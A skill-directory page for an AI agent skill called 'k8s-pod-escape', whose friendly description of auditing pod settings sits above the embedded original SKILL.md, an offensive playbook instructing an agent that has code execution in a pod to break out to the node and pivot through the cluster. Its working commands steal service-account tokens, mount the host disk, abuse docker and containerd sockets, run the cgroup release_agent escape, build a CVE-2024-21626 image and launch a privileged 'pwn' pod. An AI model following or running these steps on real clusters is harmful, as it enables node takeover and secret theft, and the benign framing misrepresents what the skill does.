k8s-pod-escape
What it does
This skill describes the settings that can let a container break out to the Kubernetes node, such as privileged mode, risky host mounts and host namespaces. It is for platform and security teams who review pod configurations.
When to use it
- βWhen a platform team asks the agent to check whether its pods run privileged or mount host paths.
- βWhen the agent inspects a pod's capabilities and mounts to decide how far a compromise could reach.
- βWhen an audit report must explain which pod settings need to change to reduce node risk.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/container/k8s-pod-escape/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βDo any of our pods in the authorized test cluster run privileged or mount host folders?β
5 new skills a week. 1 minute to read.
How it works
The agent reads each pod's security settings, capability lists and volume mounts, and flags the ones that give a path to the node.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
Kubernetes Pod Escape to Node
You have RCE inside a pod. Goal: break out of the container to the underlying node, then pivot to the cluster.
Phase 1: Enumerate the container
# Identify how you're contained
cat /proc/self/status | grep -E '^(Cap|Seccomp|NoNewPriv)'
cat /proc/1/status | grep -i cap
mount | grep -E 'cgroup|hostpath|/var/run/docker.sock|/var/run/crio'
ls -la /dev | head -20
id
hostname
# Service-account token
cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 60
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
# Token + APIserver β confirm you can talk to the API
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -sk -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces/default/pods
Phase 2: Detect escape primitives (check each, escalate via the first that works)
2.1 Privileged container
# Privileged = full host kernel access. CapEff: 0000003fffffffff is the giveaway.
grep CapEff /proc/self/status
# 0000003fffffffff or "ALL" β you're privileged. /dev/sda1, /dev/kmsg etc are visible.
ls -la /dev/sda* /dev/nvme*
# Mount host filesystem:
mkdir /mnt/host
mount /dev/sda1 /mnt/host # adjust device β `lsblk` to confirm
chroot /mnt/host /bin/bash
# Now you're root on the node.
2.2 hostPath mount to / or /etc or /var/run/docker.sock
# Look for suspicious mounts
mount | grep -E '/host|/node|docker.sock|/etc|/root'
# /var/lib/kubelet mounted? You can read every other pod's secrets.
ls /var/lib/kubelet/pods/*/volumes/kubernetes.io~secret/ 2>/dev/null
# /var/run/docker.sock or /run/containerd/containerd.sock mounted = node compromise
docker -H unix:///var/run/docker.sock run --rm -it --privileged -v /:/host alpine chroot /host
ctr -a /run/containerd/containerd.sock run --rm -t --privileged --mount type=bind,src=/,dst=/host,options=rbind alpine escape sh -c 'chroot /host'
2.3 hostPID + SYS_PTRACE (no privileged needed)
# hostPID lets you see all node processes
ps auxf | head
# SYS_PTRACE in CapEff lets you inject into them
grep CapEff /proc/self/status
# 0000000000080000 includes CAP_SYS_PTRACE
# Find a host-side root process and inject a shell
nsenter -t 1 -m -u -i -n -p sh
# 'nsenter -t 1' enters PID 1's namespaces β that's the host's init on a node with hostPID
2.4 CAP_SYS_ADMIN without --privileged
# Common in CI/CD runners (Docker-in-Docker patterns)
grep CapEff /proc/self/status # 00000000a82425fb or similar with bit 21 set
# cgroup_release_agent escape (kernel < 5.8 on hosts without user-NS isolation)
mkdir /tmp/x && mount -t cgroup -o memory cgroup /tmp/x
echo 1 > /tmp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/x/release_agent
cat > /cmd <<'EOF'
#!/bin/sh
ip a > /tmp/host_ip
id > /tmp/host_id
EOF
chmod +x /cmd
sh -c "echo \$\$ > /tmp/x/cgroup.procs"
# /tmp/host_id now contains the HOST's id output
2.5 runC CVE chain (CVE-2024-21626 "Leaky Vessels")
If runC < 1.1.12 / Docker < 25.0.3 / containerd < 1.7.13: WORKDIR + symlink trickery lets a malicious image escape. Check node runC version via the kubelet API or by reading /etc/docker/version if exposed.
# Build a malicious image
cat > Dockerfile <<'EOF'
FROM scratch
WORKDIR /proc/self/fd/8
ENTRYPOINT ["/bin/sh"]
EOF
docker build -t evil .
# Then run on target node β the WORKDIR points fd 8 (an open kernel FD) β host FS access
docker run --rm -it evil
2.6 Service-account token β API server abuse
If the SA has pods/exec on a privileged pod or nodes/proxy on the node:
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
# List privileged pods
curl -sk -H "Authorization: Bearer $TOKEN" \
https://kubernetes.default.svc/api/v1/pods?fieldSelector=spec.securityContext.privileged=true
# Or: SA has `create pods` on kube-system β run a privileged pod yourself
kubectl --token="$TOKEN" --server=https://kubernetes.default.svc \
--insecure-skip-tls-verify run pwn --image=alpine \
--overrides='{"spec":{"hostPID":true,"hostNetwork":true,"containers":[{"name":"pwn","image":"alpine","command":["nsenter","-t","1","-m","-u","-i","-n","-p","sh"],"securityContext":{"privileged":true},"volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"name":"host","hostPath":{"path":"/"}}]}}'
Phase 3: Post-escape on node
Once you're on the node, pivot to the cluster:
``
FAQ
What does a privileged container allow?
The skill says it gives the container broad access to the host kernel and devices, which is a major risk.
What is a hostPath mount?
It is a volume that maps a folder from the node into the pod, and a sensitive folder can give a path out of the container.
Who should run these checks?
Platform and security teams with approval to inspect their cluster.
Details
Original description by the author
Kubernetes pod escape to node β privileged container abuse, hostPath mount escape, hostPID/hostIPC, capability misuse (SYS_ADMIN, SYS_PTRACE), runC CVE chains. Pivots from RCE-in-pod to full node compromise.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #13990
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- β¦
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.